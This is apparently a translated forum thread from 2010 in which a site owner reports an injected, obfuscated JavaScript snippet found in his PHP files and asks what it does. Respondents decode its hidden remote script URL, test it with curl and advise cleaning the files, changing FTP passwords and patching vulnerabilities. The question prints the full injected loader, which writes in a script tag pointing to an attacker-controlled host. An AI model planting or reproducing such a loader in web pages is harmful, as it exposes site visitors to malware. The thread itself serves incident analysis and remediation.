Iframe code malveillant dans les fichiers PHP?

J'ai trouvé le code suivant dans les fichiers PHP de mon site Web. Je pense que quelqu'un juste capable de pirater mon ftp ou d'une certaine façon il est capable d'ajouter ce script dans mes fichiers PHP, je ne sais pas comment.Iframe code malveillant dans les fichiers PHP?

<script>/*Exception*/ document.write('<script src='+'h&)t()#[email protected]$^p^^(:&#/&/!)[email protected]&o&&[email protected]@)!o)[email protected]$e$!))k)^a)@!-$&&@r$u!!.)&u$!i(#m)#^s#()e$#$r#v$^(.!$#)n&e&)t).#p&&)@&i&@c)#h^(u$#[email protected]))$t)#[email protected]&!r(-!&&c^&o(^m)!)^&.)g($e^)n#^u&&^[email protected]#n([email protected]@!$)l!)#o&$([email protected])s)@&$.&^r(u()&:!)8([email protected]@!8$&&0!(^/&^!c!^o^!m!^&d&i)#!r$!()e$#c^([email protected]@[email protected]!d((#e&@/^&^c!!)!)o#((#m&$$d)^)$i&(&r!&e&$)[email protected](#t#$.(d^e(!#/&!^e)a!^()r&)t^@[email protected]@$i(&$n#$^$k(&.&n(#^e#t#/^@w$o^&[email protected]&$l&^d#o!&&#[email protected]()!w((a)(r$!c(!)r!)&#a^&f#$t(&$.#($c(^@[email protected]@m#&^/[email protected]&#o(^o^&(!&[email protected]#e^!&&.(c^o#[email protected]#$/(^##'.replace(/&|\(|\$|\)|\!|\^|@|#/ig, '')+' defer=defer></scr'+'ipt>');</script> 
<!--5f81e446ddf4e34599fb494b668c1569-->

Mais je veux connaître la signification du code ci-dessus, je suppose qu'il est crypté au format HTML ou sous une autre forme, mais ce que le code ci-dessus est en train de faire et comment une personne capable d'injecter dans mon site ??

Merci.

Source

2010-02-06 Prashant

Les résultats de script src ci-dessus dans l'adresse http://novoteka-ru.uimserv.net.pichunter-com.genuinecolors.ru:8080/comdirect.de/comdirect.de/earthlink.net/worldofwarcraft.com/google.com/

Il est entré dans vos fichiers, soit par un trou de sécurité dans votre site web/scripts ou directement via ftp.

Assurez-vous de nettoyer vos fichiers de ce code malveillant dès que possible, modifiez vos mots de passe FTP et corrigez vos failles de sécurité!

Source

2010-02-06 21:29:19 Alex

Je peux facilement faire les 2 premières choses, mais qu'en est-il de "réparer vos failles de sécurité", quel type de défauts je regarde dans mon code. Quelles sont les manières possibles d'utiliser ce code et comment? parce que comment ils sont capables d'écrire dans mes fichiers directement depuis mon site? – Prashant

@Prashant Il semble que vous ayez essentiellement besoin de lire la sécurité du réseau. Les moyens par lesquels quelqu'un pourrait attaquer votre serveur et changer les fichiers sont très nombreux. Ce pourrait être par le biais de votre code PHP, il pourrait s'agir d'un exploit dans votre serveur web (ou serveur de messagerie etc), il se pourrait même qu'ils ont obtenu vos mots de passe par le biais de logiciels espions sur votre système de développement. Utilisez-vous votre propre serveur, ou êtes-vous sur un hébergement géré/partagé? Utilisez-vous quelque chose comme Wordpress ou un framework web? Utilisez-vous FTP (qui envoie votre mot de passe en clair) ou sftp? – JAL

Si vous exécutez une application comme un forum ou une galerie d'images, essayez de passer à la dernière version. Ces applications ont souvent des failles de sécurité qui peuvent facilement être trouvées et exploitées puisque les sources sont publiquement disponibles. – Alex

Je ne pense pas que cela fasse quoi que ce soit. Il a la même URL Alex posted, donc je ne vais pas le répéter ici.

Quand j'ai essayé de le récupérer avec curl avec un en-tête de l'agent utilisateur de IE6, en-têtes se connecter à un fichier, je me suis ces en-têtes:

HTTP/1.1 200 OK 
Server: nginx 
Date: Sat, 06 Feb 2010 21:37:13 GMT 
Content-Type: text/javascript 
Connection: close 
X-Powered-By: PHP/5.1.6 
Expires: 0 
Pragma: no-cache 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Cache-Control: private 
Content-Length: 2

De plus, le contenu du fichier semblait être juste un CRLF . Rien de très spécial. Je ne sais pas pourquoi ils l'ont mis là, mais peut-être qu'il y avait quelque chose de méchant, mais maintenant il n'y en a pas ... ou ils attendent juste un peu de temps pour y mettre du code malveillant.

Source

2010-02-06 21:37:38 icktoofay

Iframe code malveillant dans les fichiers PHP?

Répondre

Questions connexes